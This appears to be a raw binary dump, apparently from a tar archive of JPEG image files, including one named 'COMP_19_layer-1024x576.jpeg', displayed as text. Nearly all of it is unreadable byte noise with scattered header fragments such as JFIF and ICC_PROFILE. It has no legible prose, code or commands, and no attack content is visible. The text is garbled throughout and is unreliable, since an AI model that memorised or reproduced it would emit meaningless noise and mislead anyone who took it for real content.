PfsCKw(zr.|P5"[BEm9#5K%ȌyDYϰL\v6Q}M.#HEzi}C]$IcA{*摁Vj@ާtcB'b})j܋)Hi=ベjO)>Þ(:m: =#M>F$ٷ2OO8@흢Yŵ=LNXދ.R2zt1O6 ܄q^)B[TPסW˻XyNKR?7R9ʑ='M! #U浚vdI!'oaV:>n-{POXE.%]gQRD6s_m5y '[Dizq#WjC0f34{P_Gs}l5-aqVaqҾj4|nyMB"HbOV1SrLAzҸ?d OdX3:upmEK7z+K֩ng`_))m}zDwT(N:DXiR0Q\)+C>5.Abڃr#AԆʼnj;$@2޲zƟ-1H@~ wRa8p8" *ZzԌ#ڽ'^ЅD<淖_]IȒIEjl|;jDTy,ܑK~B˩N.?A=aۈm-0HΖ=I!;KF9f7 Kg\V2IIFAF?B3ɐX{VB݈P]}i㈜ W2Dig3z?r6AckdG8n)nxJƬg{ΥEsnH7 "+漇HJF8X jt,Rpj1Si*CTZ;ZZlGm¹f8t] j2dj(Ozb*bN9t*P"Ed\5H05"DRRGZd.ɚ'jx"L SsBhR6N*sL S+  @;Qh*%hTJѱh G@Z.: _ m|kYqrZΈagүڨ޼#x#D,߮Uy5e%{UeMTa^&y 8[a5Al~hczъ-"欭O"5ڞPk\RqXkzƉ)_cX" Gї ~hFFG!1H^o͵1KLE=ϡZ\FDB2#֝q*$PGp?o `:Qc 'ɑt=>cɖWPhp @Ҡ yPQQ@Sރ٣/I 6E:}Af>OLU|ʹr4"9lQaccR.# q-hTE7erzmI$?Gk,m_Or`JF,e+.~iykreA?ieՋDDl+Vud~iMFTnI(v=TXIBڵZVf<I{+ırpk67[w:;J(Zy0[u JFmކ#^ pGji T%* SR~F1]/\Zɭ6fxvqldOtC##,EelΑ7h"f@z$`A2FPI?\dȨ5-ԡxh-BH(@q+-*&% 4x42)֌ Ŋdq )\PDFmbTTb W⣊6akb2CtVM;:{^/*My~F9F\{hK {5 hk/.owR.zwH2N\X5Eh'vS3YME7ckKs.bqM-j<%dsZx|dZ~+S:/⹊&+jb+Izخɠ;oYx\ ֫bL<|=+b崏[j**9)qBQ'=ƗGT\XfT uV1qM: 9u4FݟE.Ohw[CK)h4]փ/sV @64h"  ǽsȨ9*5 !¥>xG>H:myMKa]j (y<%iq$?(׭ȇzV%%XU籺3AԼM B8k !Gx`-8`dͽ^z$j{n"==A[,n]cbqM VH 8߆|u@dCd[ڕRl~;MP\[ $rnOOZgtH~M˱ % 0ķ]sE=[C0~E7;A5ѲE <dmA$UW$c+ՆJHce2i[,JYZhЏzu2K_ѥ'+t5V:ĤY{_C/]#/g4Ys*'W8BU g⟵Id(fUt+Y-$9V4ȓ%kFG>u0=HE\mr"*Nk뻅(qRbkV7C֙EӌQLVkSh҇ AxL 04&SޠG@E ^"j8Gm0 s?:Z &.~j9tx 1ǂ@8>&iH9Y08l1G⌅ixvZگo~*P\Epab+|V0-(++$N1pH\`Wc!R8"lE(9IddW5yT%rg pN3R1XH_<r9R"窜fwv:H67`ÁYFrM$ 3E[Q(V[HO7!k!iKEkEm`qQgބLX[6^!hЌVKsá%}[Di6]ŏjB79}hAZ9e PxG wLvta}{dY^8TRиz\{yȏW֐"UnxPJw|,VW3V_Rz"6¯8V417sU@9Q\0W :20QTqQm3]Cl\8?5{,bVWpTZ/dB(NU RdHAf~W0TAyaOJ!Rآod*%N9Q0IzL/G^>⏷"%5ScWS؊DY6}#jNW=iTNMjF`[`Xu=sRTV45,COz l48Yl;)LN 1d8UPDBgIqj:tQ5M1isR@{kD#; 6\fB;㎵2ja/ U8hh#Uoz8JWPAx1n+IeY=,8'ԇmDm VOj~3 q@7TEVf B]J*SD 3Y*/hhR8擟H~5XZ?ǠF)UE8#рԂ(R+vԥL%D8Ch$If1MR2mlAHS3* Kcr'Š#=wEE&MZqKjn̐J3KВ=2YIXe]/q^#q zXU)-dlV<ɓz"8x+%x@2 o8?vG*g4X⣊s O $ LsQFţsQXXu:p4@бZ9T6-+Z8W4l*SLu"`+V[TZǺQJ%:Hnֱ8iXk|I9yZՉk)5-@Bǟ %lo"- hLR~jDk85k& *`rMfEØ!gaT#< =W<[fN<5eؔ9<> ip:WKgacfү,87D=+Qo `\QJŖ͵͸"(kh{k`޾ۊPMk clp2TqK p[Q`jp:G& .MxY87z榭F᱃VQFBU[)" =(ZE€Oz>ꃸ2~mu[q',`流vNKD3My@r*ph.ITס'N(ebL$*P~ ;l nxS 9tN7Nih(W?zmYEɉK~B%]K:jEY{ ܈uǹԑ]O5xHWQ\d>;⩼EܘH$dM-EMa3/O-ʳ|=hBM݇"k,tqV Ք:>E,m+zhmR9Pƭ(.U<=CQ-UsJVEzcvDiPc8\J +!=R昍xQZ:'>V3zQt}lżoo_LdaJi%,de ?QQOٮenelgpʏrQ\d~BC5{SsP 2E-jVkYS@]>=F?1è?e"nF./CEFk\[^ȇavNr?JrKt"੥11NyP:7TPHJmrj:?,kc]X" .$I?geay Ғ: 5^u_y{NQ ջenuh{*kL8dc@:@hoP/-Ha׸7*"څ^1Jh1dυa3Y\f\)uRvyRIJHFô`[iq\:8(Uw-ѭ({Q{4#׼a'F4D Scԗ,1ST"$ F{+ⅵJ#\ɡT ?`h xM/yU9aDACUŗ'54 #9SAMD=(y% T5W 3S hQcMu4YkWhZI@ 9 ]qnO&♲ӈ2ޡx5Mbh:f8rj27ѭR݌E*ieD "N=RbU=D,m|- դ q.)-'^j,uh (8<`420i:0Foj($x`EW[MV:r["3S5Ҹ,VLS*̓SdҹE[4# #Qԉ8f45\b$WX4L`hoC1ZOGhg>Tj7q]B;'}( P6-4W" dPL,TTsK=iF4k>L }pVN2Zj@r^)@ME;'/gi>6}$|ַNTS %_5a86.0j-N-W9r9V^"myu ?!*7;G_iM.mjV/l^jXݲQ]0[oXqI-,@%Y;WF8du ܓZ=)p4 8z6wDLl kh2ݴ%)QLm捂mf8mRʹlesimm`%qQF\F@v#\MMPg JͪnBq]*u*43ɟ@3! s\ qވUX4 KC+g;`@tH.3RA#TkY,` >NV}<TRHPzJQs$Z;xDk"y񊹻EUROJtf2w=ԖeKyGn.9'ڬH)&981%GF^5AAx dp*O[跦vW>U6а{⬼; Z[(ACwk}ѲP. Жs5m 'jVVs~V5-t5ɜĘQxXf2sc;k&ѕtzcGQ-c5kmF貿h|9Ќxrs% _} 'y.W?1澍r6 R2gj7#6c?޳چu}#Z[;/p$~#RuҎ;bIBsm,:G eR'2\DCV8 dE;-7p?i9ځZ QF wˣ`mW6G)B'g-ҷ$n,ʽ3Ңv EJ|Mynzz> pP_= J-ID'Gv|Wnx'޸k_Er4ۻQjYI%-}J7sE'\O/$!NAmփ]HYGq֥gCn08Hv|1~wU°@X*bSOSڢ`\p4* B #lUm,D+QY{1=|U$Zn!fgƤ 2k_fuڐ隳O-䍇)=ktw\qЊTW*8]X#-#aI0aDGNH]kءr(&(hiFG߸+ŕ) LSH('R`*meR:E*p6n1o튅_c>C`2JiHܫckRA?5=k(lWos\1}v渭 z:c"nia]zUݔrad/}s@cCR@v\G${SLտEg!Q=i' UO:Y-ku1]\wRn#%߹ jN<еbh.O>b杏Pq Nfu{y!)wwDyuG 0EI6MbVں]"ǨnR9 GvGZCčң]a#VRqC~JӞZk=9V$[ԑBǃ!bRVY/rYGE014 c'<# Rf@2`j6N43 8$ȢFv/vx7vr){Gѣg$$l)p{}$Eu@ECu41ŕ}~T{Ѵjc?A\ WwT;GZ@yyum209 +)IJJE>Ir1YҼM GzH^h*A"תkQGb/eH5[(1+d>eÕ槟j6[b:6P{3+ZF T-Ho~ѕ;A^C(&EѐB WO4#i[.4Hd^+Mn@DFܐxhX69*y#"sx \RZWA jJ}X.S LjjzOtuR=2Z"WRDT~90rNe%-QqvVuĥsVp8$Iߠ^RN?ZCW+2ܲ$ZTr"jepԭG#K} (ictn ?Do0)L15he}[~#!@5xG4s^V |kܔYIT6)l}]ޔ$v?~U5 xn-Np2oQ:VF;wm }mljbMZ ms]J "΄~(K= #w^AbBo"IT8 ~*Wd!bf>?ZŨH/UI=\*s]b[=@STg,.ŽV=Nj)U;ϣK16>`N\ݩGj%FChg *t#7:+wGQaB]Y;S.3DeIc 1Hd{WU}f+@;k4g|9=n4𓂘 >cf,t٦Y8Iߩ{FS̹8PzSX W%jTb*ē>.yt(F$;quz*Ndb=JS粊:))8Ѕm*Ie4:ao%'Dt 9*g}Kl8RFF{:{Њe4E <ѾhLuM J(FTN?}>fFI0ڀ|Z2TLbbÊ6 IԿ#:|TK,'$:DU{qq+AO1+ܔLk#t*M6A%2p5gCJ#QB|T#T?Sr;9?8/9hYxB"i[ca3A8$F eivFh46;>e2Rǐk%͆3 3Q̇ikc^Q╛_ZU+wHΝqc+Գ+{ѕTk @ q֔d$>bAj%+& *y9eR69l}ԖCYr95vI Nͫ\0;Wr+X--'T<ս³eF16IN2Tn0RDLEFq<*wHnPX,+kWčUE$r/cVZo4+j/wF皘H R Rjt/9#|ff*VBe|QރkP0dڞTL`U%Z]BѮeh ?+Z[{BAr$Lk "ݠ[JMtCEE@,x0A)%m5Vdya%MT^ 5ZT,n,Xx0p䚧mdTU.M{ыBQ)lFij3PWA4#hiW3Q4rdm4̑!hP6$[[qkn 6RՄſ!+xn$Ӣxvly\Yº/4d942l]V;qZ!DFY>j3BS&X&#`[^!a[eK(CB 批 1\c-qYDBrbf~PR;/+c27 *8*xq+o#E/tciae^7)GjO1݂?B(ΠpCD3W̭O\0gփ~gk6{*  dS}K'/dɌb" s wI*FG$D|❵YԌu&dp@ =Bs{zJşEyܴ=gIqBⲺhm5#sdΌXӎEoI` Br y?|K$:2~U6Zev""qj$чQB(׊kL -l*,84+oĠS VvUǵE.N(Q~sަ5D&+@%ګ՚gk0NzM~1B6Si* ɻybVSg?|'orw1Ϋ'$dtt*keѴ'5Ucob:W] ʸRYOn@U6G}CjR+9;)i0w|g&^(#[ HƤAVM w{pHX>3Yݱf`KH6Ny]vrx'*RtXxQ-$"ԚnN\fֺ_DJS|z?ʝyXG' ԅv%UT3)4=ssArv/A^SK,a$c;MJǯei[x2D lPx"+#Z4SQ_#$n+>%ŕ_$z>H'}7S= ֍XR lNx15.{e0= }wS& x'bnpVy22jؔfٌdtwG8aċ{St9ֺa'՜CvY( pOJT+,gd_e͹`@"m8?c[vJ?.T;iKz܂0k nYڊ6IO5)K(CވO&Oܟn '⳾! K ~$2;qU׫]B ױzEvEè[C-]Nz;hMf3"T֡$l NQ q5ί q}mMsLOT2}ǽXGr<ʟRhɗ1ȹGV&TM[зW"N<Ks_nMKJri=7Fce.hkhh9%Z3'PbQW 5Qhr!G=ivӂ9 ('k>[td1,[+$Ocd$ 0u@>Ƙy.l.(!Lc֦ǶQ]"1xh;nG()ys5;yOYZ\[f]d[ߡdan=RHb |jn7&,ZޚRTިH?晃Yԃ#9CvxXo]"i&| I+:*Bg}/KnS-#,J6_Y?>S\[8KhL39􁟎^OsE:aՐ`1ri^.W'H60N]˴or9d-fy#C E!>zSU'TVb8=f>pܛ81%sRZ:5.Ǡ`fLIbyg3у}䮍Uv}X[yڠ0M^Q*Whz7S j|xj|p14O|5/ס}pJipϸ}wn*p=:&c/|"WRدEDѠU2A`m<_X1>◒J\LѢU\e">^NgLI"+@# ֻ 1K,$AljQ(S9<(e6Fç4MW"# V nJ^XqV"nNa]'(nµq_Ic#o79U :@q23X_-эpEZH ҒX0kd{[7-z-)֊SZMX"8$Uy:sa!,1-Eao}x:1?:hIZ=G6F;WjEuBs׏kZCrF)X9mЂ\WbK0'e+Ֆ8>o+ sC O"aKwftXoH| Մ#m?0)LRetl] Dl0一NуfO $| Dch5Y% XPIbXc[A&rB w');wf+یz^HWYK1v\#`1#$h}Ha&M Vڷ.,д VN;47XlmLn)m rmKs),83Ϸ*mV&qp]bb0錞68rE?h]%0ˆeyӴeA6y?|w44tM#˿iRp:ثbKA[#J?= L[X_M#&%/;UO7? hfky},x{ץxwEa Ǚ#xu,"Fz.bReܛt£:&d[4Rg*XP՜՛UrMoKʦfF\#I޴6!j1 sv[xf<c[/b0?FY#3"f&ˍvެݪh[O ¨8jGd"B>)*,G5gg mS+ƻ*B¦5$4ֳںG.w0)}^e l2 yBʏbα 8MGq(_MȪ|^Kie;TmP1,V1(F @c^RJgkBFÆlN;S"ݧS \(`RI.ku Rbo0(4_FrjRzu76NAW:V77%Ѕ#m,}RttۧTWL"Kf)jhQE&*8;Om,[iub?i-@s Nӏ-܂[QPݺM3+mumO^]ޥKVgVL)iAn\j+sn-ڼ^s( >x9Uojϑ$2JxUz<3*"kF01Mu6ޥ5K{4[W*/yKSN;c+F @P_Uȥ8 {OG lSc=)!6w.kH05vP?0 F:d-d+ZSS)bc1Jm~P GJj ;쎛4Fb4I h#lu]\,1$Vj :Sڴ*33"QݴS_LH7>qT2hERPfowLm<i矽hgԣlVLrl zy 7 ;נZ+kd_H\X@n4i%u;ZBXtԱIyfU\nNK"Ĝ{ VIπq?Η3ce<WBJz&h+9c 7pM\TW?UMbotkLe[=ivйkfN=9ڊ >F2HTgՃ¼ݒ yıdADW]ºJx;MƐF`XYv;GU1Mn|#&FhZݠWGcf/1 HcWZ5ϽU2PYy|*\=ZoQ &F㌊8"Xm`sS6>%F^o\iF֌szhڪj lm֜\&V8O蚄#Q+R|'h.׍<'I-ݗ+Tj_THĘ<Js_ҘbzRhT*m*URW:ɥ\)gڮ{#.TѫBp8x3R.$WfEiVј{Hҗrlͷj c -N+ 划EnrLz쭛:<,}&|)X:L1énU U7~"9zGiTcpd G~93Gg+W{r{Wc+ՔֺmԹpqM9aoh^'5ҍmp^b6Tof2Jxm܆QFOtKu<ӼZc.ph#i:DJHԨGHcΚqnNFY#ƑMR:j2Gkԯm{)I'k̵+);k} :j5qegMz)v*A&ȱAԚNm)-KH #ޭyWŒsL|vDsCFmR|X β,b7{~T7z*#e}:jP\ vUJSWx.d5ߚ6c^È'Jin7*ilN&T!*G' aTz]D-i|methtp߭u5<׋#ډ炼utGB@c)1H9\tⷲfvB0K e|Ю5 8\tVk /bS+Յy)9RxnZgrH+;rE \Qlq]ռ\n<^ǜ)ar,֛F)bb8}Ib_sEivY$z(OWG^ ;]6]0ޅ"KoRد\ԓ=4X}dՌH`iȪ& X8*9's|S^ ^GIl92OKf8S' NX}ai5SNݽWc>> sT%5[ZI1y`S&^,TK)b<eyO4,-D8ުG qV#l`cec $gcG{1  ͞:ھǺ9-D]Th2(W3MxOH_4:I_>V5`|:&ilr/Tn[1X^]D6tϽ( P$JK*9\uasUiws.ǙA*qVI' zk1jJDj0"xE}$`S5 U[CWM]obPd %+**)Z+Z+]U8&,O&: Hlx2ZAMxS[|rx?cZ} ],ONQM SOK; .bj\z5!L;dTF1%="Q"oPy<+(mJ8|^@_'F~wE#$/aP-d.I~vUG)@|uUXw.˴m>k¯ܫ] ڔo?Id2nu̮򨑙e~ҿz_t#$6p.mdritenmHPӝq[ájz_2C:4L4S<+m9⮼%-}$u9lpO'H>nfybGi(ۚ񷈣d|u[Ũ*#P;jW`쐪3Xd2WRIHc)V@urj>nZB$8Ah ޭFD,8Qzx{ :gn.A*pS4Λ'׼’ʫ#*[&#6 4SJ ;F͌<Q5=3QX7NXbV^6rCeW\$w&uR!|[q0Xݭ_ۉ"`N:w@?395LLs}]>F?|]yeǿȢ4wI"f$gASB"^ *HrhPk{yLږIt9я?*Pso"%*)\HFM"!чZe+~lpO ZCʏ>jrMd,l2O~jib$v̠Ǹ o1W{~w(Q޶Pis`֛McT0G.M~>*+ lbpjeq-A4lyEnlǭX$VjMVÌ2g)l -E䚔vR׎ᔪ[:Ihe}FM օ{r-(%jp@NIZg#*'ˬv%"OSH%+=iW21i>FhQEkyÊ $ Ȫb.)o毖m H Uq 2݀CװS%޹s)jjdIq3*xAʌe\Yi40(yΡ2ct'ߑ5HI4.๞>"7+8UbDw>g :䷶+?'QQXfk9m2vryuF2J[쳴KQc4u{zTvkf$wfꥶ.x8TQh&EWy!9s1/jY#ڌQ3އaka3?#F瞀Rmif)<7y( +:na}MA,fzߊvV5C,[x28TTOyآ\KU1֊W,daћ?o8VrT`QP87ئ>+<[-1=oAg§kJ3H=.qYgm!xYppCR%)4wݏ}ᱣ_hzl6^UHrŌ 4y.Qm>_Zl Ž2sSWԊ:[Moa9ǖzնI`"v9D(\pI5;UAPT´iEC3px94 %z0+Aj_>SJK($Z;D;G%k [)Xddu9Wj`a[\OpjS3&<⻗g#Z+!SZTbTuEltylzړHmm|f%eFJH#Օ0#}#$J#ڮ.4xE)U#[i}FI=B==LQ[_a4ҹqz?K>qϟhVi H$t%Hx*};A深je<u1! 4rk|NOcV;qMֽ2͒i/Xz`I tϙrRԎj7,aG4~;cQvZtQgqNYiTѫt=óYq$u?5M;`ۨH|)lC5&ia֏K/TyA(k>ƚkA'ȥq^(=!}KjLxnM4#ս R9\]L[Bڱ(=7IN{͵;vv!Te]j,*~3,j J9! fum26Cn|64;+u >H."Ht>VLIZ ÂqU9dmab9t&B6r;{إ%дъ'XqJ+1aLH"vHN$nz/.Xv+3^4.U}ԫ*tMAw}%̅RR5Z Ywe ͒$d=?: >3VVR,MӑJ(ı$ ~ T5DBF 8mDqU5iv\$|i^ M> VqX靥ZVX9IZSZ!sּC6hʖ6qڳkQ~*"weU d;M=yBV?Y.XkLr|BܠoHQIiwE.M[*9פ{V4`nXRA*f$[Du}S SPZ m:+vpr$Exd@jG(SQ7>3Wr,2r[cB-Yt2 F1L)^>G٩Pk£q$XmWE\Atrc眞٬nuIxCE0[tzJ/h jkkteKzn$)p0n Xtv)V⋧Ěq鶓A/"x=ީI^#tvkHx>Y.i=pa ~I?gX]% NALvI)<'vwe:Q.&սc3AgktnEmy9vYۨ4Va`t h!C+fBӠx!F_WzcK;pC<Q U1jwӗi5An=>kG,/F9bAn:y=`D e$ϥQ麬ćld.D?NxPt¯Oo6XtXݻzN;R>'8pVm è>բUtٕOOqJٝMl6 X[D~+#.Kqisg[e'#f\ثoʓ+o, i{Pc(=Oəz )S _ΓQec k6)[qWwv2Ċ\RNeAڦ-'""E ^P ~ygǡ.ٸZ$tYŬ{,ájӒ73Y b.BkJ쐝2wuTohRgjՓgwZwG8 HȮjѠ ;;TE"i<,*5os̨8ڙ5Ei*ᤞ7x8YZ$\Y%fF*A}OC&(2Le#'UsjIJVR0Ix8^b!VIQP})G٧Ծ2%E]ȫ4cq)^3t!eyry"2r22T"I'(Vj IAB|Rw^` 0zƛ W*"dgaTB?yg&K!,0`SVe$םx{⢣N6KX%D1c wzֲm f3^OP*y>=Bi@6m=@^Έ8o5[kte^9nqHjA!Gڹ jymv{i!sёXZ +Ksdjzc: wmtdc{K,<ޫnVhl@;Ӯ\IG??`cԡ {b씛tZKmy(0g=zP,+ 2K\?S") 4m[#յ  94-$̠hJ]q!eE#jӮnYZ0qj)w\%P6WzRs eb> kod-[Gɥ_}Gq8In"{f݄ȼqUZ7x1Ġ&3{o 9Krxƒ1w{ Ĭ#c-׮Izq⪓NMhq1;~g IE2qcgrВB VqL*8ڧ,qUtѢ~4мFcA\r5mmpBku%v_˨/S5l2rXEW=MXCzjYe_K iڞCxV6S\7qd|v{1* =藚[FZ_Gx2>jIciՅO#/RM íey1G ߥӫWLAn "q qQ/Q-9IxVȴP㎋[ƽ5[hByTW--Ha#^{&I- "$4>=re3By2(r'vF(l:H3F'i H!pgfLaW6Wkxpۅ3nԓI,.@]ئ{NOC$SvXJ ,C~y#gvs\c,iHD\2ix1 R<9pi`ԑoɠƋ+Hv'5o9+y Gz4kNJHCG׬$#,LdWsw"19jVu%24m5sambh8{е>)VWکMP+,]a AV+`\b=*CV:xt#TK2}+[<746{Wx[^Mb)J+ާ+ܸ+AO1L`brR[/,zGMW4űu,{&#Eq~I Hq+d-cxbA*WN!h+"^{GpVݷoZR[;xP&Ǘϯt,ؐ}fd@eE hewyM[zF%1 zw&(8 ̫jMp! BKC9 `(61㚝޶܃eP-.a'O5@.@g:Y&&W8 GR9Vp Q_ 9gQz1 ErE%57F9IGW@6bcG@ke Lz,W\4 Eѣ"8U9(ŽoX1o+4hxNb#JhcfxFmi嗮+jM<0F}*[#=nU-lX$!()?24Og颌F1iE[gv~4RշDta5$hyyRsTͼbVR$d(rSr F)WA۱k=RXY;$S ..VE*{Es_O!\z yC"e{,aq8nҧr}V}K_‹¨ T-nj=?AGѸgR5Q_(DM =*BcyRA8(r(ίusm= =Thfn!H'jSce~+&zmr1?5\I!zOE8% Aj+ QyE6{l(5qn2WLS-! 5TbZaE%=LE*aN%\mHϿ ^rzUTv$ $n|Ƚ]js3ZkhgcIF ݅qIYq^U#˓Bjة$PGZ"V5pP swbk)iq <ډ@=xLܤtBj(9cWU@+?u 9 ~BdZ).o %6qd6xdPjw=a<1Yx$I>e*Gj޼s=Krз: lZ< Jjk eE?q^]V_h$eYW$mK6OOnG8ڽF8Sڴ:A% X]pqһqEhA"玕wᘌŬ.2 橭SЃZo}Tٿ|b)kE$jEF2P"fT\[ANՅv:)0)ϒOXd] 6duF¬/Hy|=-ܢw_D|u݊ *ŒME KupT@cVzד=_x,N޲ݷaᏲ%video-media/COMP_19_layer-1024x576.jpeg000060400000222262151724237330013070 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtOz2dF8 .镄k#%Y slpk,ۿ1\鞼2IbmvyL1*Fm-:~j<*퍡87%K]~FTֲ%H~D-#JAU[1sI>)_ɎV6ڶy !e8FT" ^^*FlP5;ba%ĜO!ݱA5٧:\K#ëz_PmփlW];T3*_J1ݓ)BGg fp(2\#5Fl@296Ϗx. #j\>:cg,rz ~*7qGե< cI H?*9?5siS@7A%zT/XHQ{HSH"[Fq(yͽE:HuPv%:S!SmƯ7Kj8$$M:x-H@J d]*8>vYZ#OtNOⴖDVbf5>KPm ս@{r 4?>YW7h,U|U2FIUa5S,Oi%[wi5ԩ>TysdrgTRQ.AGcQU!$*N[ⳲT 1ORJP4,vXOCi2$zPq74c޼CYv7HjS}EmgMVh z/MT(itqWɮL=oQcLx ԭ"k.f%u-f$ 4o ̩[򱮗SqȞ ^K9r7wz pɌJjWa̠+5nc3 Yby)WD }fθ;j)B1L+*J%rEGDUOU➫O H mm:Reh&8lM1P89[PݪT,Nß5ECO:K(_q9${VGBq9Ec]iQWvq_?NR cޅ F`z-I\惧yi{r99 zOm$`:bnqSL{xAKo- wuiZVf ,y{x%!';}{MM"#RkxK8AT4(Gm$H8މXV6 y'p;FI>k!V09VzLK$Dr0$RkWWy&nBn^毌үcP41IpI,Ezو56><|ӽ$Ȕi%ʜG+K㇒I8@ɇ8UK_Ju"cʚyRey}ƜJm ɪmj"z*ݏzx ZƸg6ʌST\ԩٿ4-;]aD2R\WyƐ䎊NER(qJV:MXP-hHVW)6Pm7en)4&ߊ)Zn@)1EM+vM &)41HVLS +MڀWm PM+D!B(+D+I\V 4&+LS4P!;ؠ6BbLSb &)WoRdidմ?6渻9``PlVd#=Ilpzr?2FC#O&m=iJ#js sֺ\y1[56PE.l3/u?5Y巒E%uAkyXX#Y x³cv;z1isN;yDq։HoJ$6\ս̰Cp}A.jzc.ʟsPX]q7r?T?{ Tm^ D+Z@sOUO/Sb#;(cYWWCJ()=yW#grO=w䏁@3X}LrFO#_-1Ro ~F FTaF\3Aچ|GOrvnE޻}J;IP.d$~$(<0=-\^ !I¼8k icϝe)g`/1 hI~暊z}=Xk%9e;1:*.CW IO8<#e`7kbyֶ3pO(@9U~ewN]wz68ilJ4Dv%+gYdTuQ],eԑ͇֒k+Yun;.`k fcVjsR]e6|`&DڬnqqCrFړhqI5f#qPfMLPzHk3\QBRT6jQ֋TRPrLQEX NM>@tJO*Uڃ"m4)Mti9pzLUi |cZ&dXY*0F3Z#J O7 H ->Q,}sQX;[m4Y.eԥ-@X¸CNJѻ{-XLmڸ=I`9@ѭʠ0L)fҼڣѓIO2hScIcx3JǷLU`gDIS,(j=P:I#o@N(m8 ͍~ji<2+5 L5-"H\+['_ɝ쟧[!kw}ݨfty H.iڧ}-1ȸvPy}o<"|cRac)H$Wj9A:SAwO0 !.p03ǽX9aA0j\wh\Y׭c|}"Y$6{^8=G̕lQC~Q3t㩯.G}p+`Rp<ӲxWbPq]v+@bbh;[iv]M).+NJiJE4;JԂi*)h)6&bVMi)1O&()fE&(<B޻m1"VE&8⋶E0]z~B byMbWn)1O7m&)Ԙ≁](杀2xI03IQ)bIv+E& >aZMSȤ ❊RgԀ16 bJ seTK"86Ysyf<(&r):=62 ;H̀sV@VCvb :BmR†qWbiqR->y1HV@xsKEmDTF~m9~iMGnqSS+|}+"+GhcqU})_$ 6yN=lx;V<04 8,3!&eY{x>{I6qKu5^IQ97cΙR~2[6WQm%Nr⽳]!mDA]~(>v:V؟!]kMs(.25NU<ck:%'..:S3L)iCϰ,Dd+TѬ_r+7zdeO4Ȕ) zGPbut3 M/5 p|`G e&)\ ǧՍ[XT`f/A H+>S6Q»l Ba"(f5?;Otz[b&{9UNi89hN/o^_ ZگG^T3 W:]jm|zn5QC,%ڟB 3 zGPI5&m"3q@H3om^[=eV&TyHb:SdwzGAM?5w ʉj[)o*oٹpH{ڥ{'<-т Bo& [o "#K19V~okGo%>xy~ƴzng̐n=*Ub3o,b)c8#p<,Rݞ?6'v6)bc:1Ma"`s^[i!;QYjF{WÏ$}98VpQF+<7oV$ sQ;)ZX4H Wz#TMM &H0W PmmHIHn)1uqkKP`|Rc❊5S_֯bc'AnsZ(cxl`y|GKɥWr`R\uy {6_~>VLD@5m= ӊU~%'T` T֋a&fGAT3ZydWwSNLö+ΈOi{,c订Q5TxJڎ ғozj6B ;*"<1) $ǵ\jz2VfzPʞ6 4:+jL⛧o5(cD9"OVұczeRN*QϔdyVL.;ezܿI8B~Ec/0lWsD!NP{^v{Si5aT?H苊Ac>% #湱gD>olf4Y[ҥlݨu<6T{^72T2屹s"Z_ X9|%'Dg<ޔG@e!$P2ORȡX!y?$ f(KS¨jٽ^i<{{עHR t=מxSԣyHbN̓E=Wc;Kg⼩VVE (;ؠVRb\4EMđsڄɊ6sM#5D;i}i B{H?v)SqT#ҴP1I&,WbTSJ1IڟP [M7nhiiE)(ijʹ}S B%ib¢m4ښVLv!N&(Bby2)bm1"VVDWbEv(290n( &)خHT~)1@ iLSm f4X%d] ilyO¾,FbԮi?1=ģ薁UIL|W`(O3;6 P)qKWMqI~)1HWbS ~roQ#20C z@ Mc ȐL}x-@yRtv<%UR>PTtZZVbSՆ}4ӻ0* HR7H}wfggs"VMPd5Qu{wq[O+Ncs֣3eQ.߸c%` Zh@TROj b;,l;U-ԳD9=Gh1 %HU0'zvZ!yy am7. %;ø'AZټ6=z#K9?gF1!HITd*>Fe 'ifL)f sjşRpF8jI#Ĭ@'0#o'< CV"q\"ѿXz"9 OLa7'- t9 ءvzV*5ڠ`4ܝ܎(!Ʊ)Ґ}έjb¼ϟhW;ފY3Rk:Co$1}_ElaF#=~k7ehw)X⟨_s1^Gde,Z*|*`rrøK2W*{8`(随rE$QZG`AwEbgavzYObZF-Obq?juB6+?FNOeREN%֣lsWHʃGɩ|n֗B*ONx?qQm?/64Ƚ{TfS5;kfkv`~5/]ۣz~?ћ{k%GsK#37?z[{+q4;@ןk"X]cvnu&M29֎( ,;b~+EpGJe->) P@ڈ2mz)ʐE.*5Z!اbm&))خ]KPbTuu IDE@IRmhD" p!ݩ6k@ƕ+Dҕ@vb⛶-S1Zi0hئ❅)L+R UXaN(qHFE14GihIiݴriQv bm? xq@HGB)PV%m3 " ~)(yO1\E>)BO 4nFRQ[/7'Hka-aWzi:ۍjR9XGjޑ`xG:qKb֧]ף?R`9lnvMTL>g'ƽڜ1.[^{o$SslloQ]ҏ8O@zoV:{N-( xlk>"YnPgUdݜVV{Τl2 DQ1Tf7اm4&3N(%]W L#l$srN=]5M!#ŠLfEƌoބUhtP%I #t"j51\leRB$Ka\JGZ ۓޓuЛffh*+Ѽ?휸T4IV]8[!T )`*8ėIdg)daOogMIsTie0tiGB3ogl|dzqk:ʲ6?zk;X2\k5{.Xh^)!x$ N8zW7Z{Jn r=2|Gj2P ~giiR[w\E4lÊM6HO Fr$TQo5(bSq^~UV{Z[yi۰-_R4TCp?&~fQ27-Ⱦk\jȱwOu Y&xoS*RŘIiѩ=sdS65đ9ybבI!aWw%Vr2H?5J*r=c5a y&Ăk&ӡ5cb18zȨ&:=OJd0a<=DaֲPV^vbXbm 'W(CJb)^i7v)IP6 SBλPmn))Rb &(0) ]@ 4S #s}"( Ҕ→WS)sHg4<iGͧ"!Uyaj-MaNwn{R'3ak>-&\)!QZ8x\7MQ#b7,7~_º͒_* ~e`xCGgMڐݼ˗ԧ&./h[yw Ǔ^_:Yj|VNpcL3Aވt,?^p(FX^,'7es[ib"g#l|t R**5"zR$A$UYވ 4,Սm9Jf⡘m=+Hδڎ =Wx,>1P [[+z4^{ebR JLh"ճI׽SjZr]K,1MvLrM.^\ڛ]( Qo $ӌQW\.wc8z!i/j6SXfwbxd+یz=MI5w!EJ8ȪjMz,:8IQQ$42\Fzr f. y z 6h)`bWlc#Ast~"O*SQ@SbTEIx&b$Wt_CY F$g]k)'PĪt[yV@#$T$ɖ5/á$_~ٳSŤ m$ U|lxuEZ(мji56ek=*Fq͒>Jk/GL\}?S[}Oɶ#\vr7)h?ޗnD&OW+gLavҩ$ @5lȖ:sB1ֻGO`"7zǑ8l+6 Jhm%dE|j[`HEf@ngI~U[Y3mnk>< Z^X *S֮3DJ (P86"=Qe n~+ND&(v(iiPvLPL]1y\SNR1JǠ  4Z,b(b( *7z\)"4 ۚi5(os@lI iJ,TGMeԂjiwRqL)Zd)i*ibS6>aZb$WbTSJ*VE iLSqLC)Q vIB(L@ҢޝX~ 